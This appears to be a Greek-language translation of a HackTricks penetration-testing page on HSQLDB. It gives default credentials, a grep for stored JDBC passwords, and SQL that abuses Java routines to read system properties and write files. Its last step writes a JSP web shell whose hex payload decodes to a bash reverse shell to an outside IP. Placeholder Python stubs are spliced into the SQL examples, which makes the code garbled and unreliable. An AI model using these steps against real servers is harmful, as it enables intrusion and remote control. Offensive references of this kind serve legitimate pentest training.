9001 - Pentesting HSQLDB

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

Το HSQLDB (HyperSQL DataBase) είναι το κορυφαίο σύστημα βάσης δεδομένων SQL που έχει γραφεί σε Java. Προσφέρει έναν μικρό, γρήγορο, πολυνηματικό και συναλλαγματικό μηχανισμό βάσης δεδομένων με πίνακες στη μνήμη και στον δίσκο και υποστηρίζει ενσωματωμένη και λειτουργία διακομιστή.

Προεπιλεγμένη θύρα: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Πληροφορίες

Προεπιλεγμένες Ρυθμίσεις

Σημειώστε ότι από προεπιλογή αυτή η υπηρεσία πιθανόν να εκτελείται στη μνήμη ή να είναι συνδεδεμένη με τον τοπικό υπολογιστή. Αν την βρήκατε, πιθανόν να έχετε εκμεταλλευτεί μια άλλη υπηρεσία και ψάχνετε να αναβαθμίσετε τα δικαιώματά σας.

Οι προεπιλεγμένες διαπιστευτήρια είναι συνήθως sa με κενό κωδικό πρόσβασης.

Αν έχετε εκμεταλλευτεί μια άλλη υπηρεσία, αναζητήστε πιθανά διαπιστευτήρια χρησιμοποιώντας την εντολή

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Σημειώστε προσεκτικά το όνομα της βάσης δεδομένων - θα το χρειαστείτε για να συνδεθείτε.

Συλλογή Πληροφοριών

Συνδεθείτε στην περίπτωση βάσης δεδομένων κατεβάζοντας το HSQLDB από εδώ και εξάγοντας το hsqldb/lib/hsqldb.jar. Εκτελέστε την εφαρμογή GUI (eww) χρησιμοποιώντας την εντολή java -jar hsqldb.jar και συνδεθείτε στην περίπτωση χρησιμοποιώντας τα ανακαλυφθέντα/αδύναμα διαπιστευτήρια.

Σημειώστε ότι η διεύθυνση URL σύνδεσης θα μοιάζει κάπως έτσι για ένα απομακρυσμένο σύστημα: jdbc:hsqldb:hsql://ip/DBNAME.

Κόλπα

Ρουτίνες Της Γλώσσας Java

Μπορούμε να καλέσουμε στατικές μεθόδους μιας κλάσης Java από το HSQLDB χρησιμοποιώντας τις Ρουτίνες Της Γλώσσας Java. Πρέπει να σημειωθεί ότι η κληθείσα κλάση πρέπει να βρίσκεται στο classpath της εφαρμογής.

Οι JRTs μπορούν να είναι συναρτήσεις ή διαδικασίες. Οι συναρτήσεις μπορούν να κληθούν μέσω εντολών SQL εάν η μέθοδος Java επιστρέφει μία ή περισσότερες μεταβλητές πρωτογενούς τύπου συμβατές με SQL. Καλούνται χρησιμοποιώντας την εντολή VALUES.

Εάν η μέθοδος Java που θέλουμε να καλέσουμε επιστρέφει void, πρέπει να χρησιμοποιήσουμε μια διαδικασία που καλείται με την εντολή CALL.

Ανάγνωση Ιδιοτήτων Συστήματος Java

Δημιουργήστε τη συνάρτηση:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
def execute_function():
    # Code to execute the function goes here
    pass

Εκτέλεση συνάρτησης:

def execute_function():
    # Ο κώδικας για την εκτέλεση της συνάρτησης βρίσκεται εδώ
    pass
VALUES(getsystemproperty('user.name'))

Μπορείτε να βρείτε μια λίστα με τις ιδιότητες του συστήματος εδώ.

Εγγραφή Περιεχομένου σε Αρχείο

Μπορείτε να χρησιμοποιήσετε το Java gadget com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename που βρίσκεται στο JDK (φορτώνεται αυτόματα στον δρομολογητή της εφαρμογής) για να εγγράψετε στον δίσκο hex-encoded αντικείμενα μέσω μιας προσαρμοσμένης διαδικασίας. Σημειώστε το μέγιστο μέγεθος των 1024 bytes.

Δημιουργία διαδικασίας:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Εκτέλεση διαδικασίας:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated